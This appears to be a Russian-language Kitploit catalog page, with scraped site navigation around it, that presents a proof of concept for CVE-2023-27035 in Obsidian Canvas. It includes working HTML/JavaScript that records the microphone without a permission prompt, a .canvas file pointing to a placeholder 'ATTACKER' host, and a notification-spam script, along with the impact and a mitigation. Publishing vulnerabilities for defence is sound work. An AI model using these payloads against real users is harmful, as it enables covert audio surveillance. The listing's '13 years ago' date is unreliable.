Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2023-27035 — Доказательство концепции, демонстрирующее несанкционированную запись с микрофона и злоупотребление уведомлениями рабочего стола через встроенные веб-страницы в Obsidian Canvas, подчеркивающее отсутствие обработки запросов разрешений в Electron. | Kitploit
Инструменты/GitHubGitHub/fivex3/cve-2023-27035
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийКонфиденциальностьОбучение и Образование
GitHubfivex3/cve-2023-27035

CVE-2023-27035

Доказательство концепции, демонстрирующее несанкционированную запись с микрофона и злоупотребление уведомлениями рабочего стола через встроенные веб-страницы в Obsidian Canvas, подчеркивающее отсутствие обработки запросов разрешений в Electron.

Репозиторий
13 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2023-27035

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Тип уязвимости:

Некорректный контроль доступа

Описание:

Обнаруженная проблема в Obsidian Canvas 1.1.9 позволяет удаленным злоумышленникам отправлять уведомления на рабочий стол, записывать аудио пользователя и другие неуказанные воздействия через встроенный веб-сайт на странице холста.

Воздействие:

Вредоносные встроенные веб-сайты могут получать доступ к чувствительным WEB API в приложении Obsidian без разрешения и ведома пользователя. Например, они могут незаметно записывать микрофон пользователя или отправлять уведомления на рабочий стол от имени приложения Obsidian, без ведома пользователя или явного предоставления разрешения.

Основная причина этой проблемы — отсутствие обработчика запросов разрешений сессии (Session Permission Request handler) в приложении.

Затронутый продукт:

  • Obsidian (функция Canvas)

Затронутые версии:

  • 1.1.9 < 1.1.14

Шаги для воспроизведения:

  1. Создайте и разместите HTML-файл со следующим содержимым (страница запишет 5 секунд аудио с микрофона, а затем воспроизведет его).
root@kitploit:~
<!DOCTYPE html>
<html lang="en">
<head>
    <title>_</title>
</head>

<body>
    <h1>Make sure your microphone is unmuted.</h1>
    <script>
        // navigator.mediaDevices.enumerateDevices().then((devices) => console.log(devices))
        // credit to https://github.com/bryanjenningz/record-audio
        const recordAudio = () =>
            new Promise(async resolve => {
                const stream = await navigator.mediaDevices.getUserMedia({
                    audio: true
                });
                const mediaRecorder = new MediaRecorder(stream);
                const audioChunks = [];

                mediaRecorder.addEventListener("dataavailable", event => {
                    audioChunks.push(event.data);
                });

                const start = () => mediaRecorder.start();

                const stop = () =>
                    new Promise(resolve => {
                        mediaRecorder.addEventListener("stop", () => {
                            const audioBlob = new Blob(audioChunks);
                            const audioUrl = URL.createObjectURL(audioBlob);
                            const audio = new Audio(audioUrl);
                            const play = () => audio.play();
                            resolve({
                                audioBlob,
                                audioUrl,
                                play
                            });
                        });

                        mediaRecorder.stop();
                    });

                resolve({
                    start,
                    stop
                });
            });

        const sleep = time => new Promise(resolve => setTimeout(resolve, time));

        (async () => {
            const recorder = await recordAudio();
            recorder.start();
            await sleep(5000);
            const audio = await recorder.stop();
            audio.play();
        })();
    </script>
</body>
</html>
  1. Создайте пустой холст и нажмите «Add web page», вставьте ссылку на poc1.html ИЛИ создайте следующий файл .canvas (параметр url указывает на нашу страницу на сервере):
root@kitploit:~
{
	"nodes":[{"id":"3cbfdfdb5bd83701","x":-995,"y":355,"width":646,"height":416,"type":"link","url":"https://ATTACKER/files/poc1.html"}],
	"edges":[]
}
  1. Откройте файл холста в Obsidian. Запись начнется немедленно, через 5 секунд она будет воспроизведена.

PoC уведомлений:

root@kitploit:~
<!DOCTYPE html>
<html lang="en">
<head>
    <title>_</title>
</head>
<body>
    <script>
        let i = 0;
        const interval = setInterval(() => {
            const n = new Notification(`Obsidian`, {
                body: 'Notification example.'
            });
            if (i === 10) {
                clearInterval(interval);
            }
            i++;
        }, 500);
    </script>
</body>
</html>

Смягчение:

Реализуйте обработчик запросов разрешений сессии Electron (Session Permission Request handler) для обработки запросов разрешений со встроенных страниц. Доступ к Web API должен быть явно предоставлен пользователем или по умолчанию запрещен.

Ссылки:

  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-27035
  • https://forum.obsidian.md/t/embedded-web-pages-in-obsidian-canvas-can-use-sensitive-web-apis-without-the-users-permission-grant/54509
  • https://forum.obsidian.md/t/obsidian-release-v1-1-14-insider-build/54595
  • https://www.electronjs.org/docs/latest/api/session#sessetpermissionrequesthandlerhandler
Скачать инструмент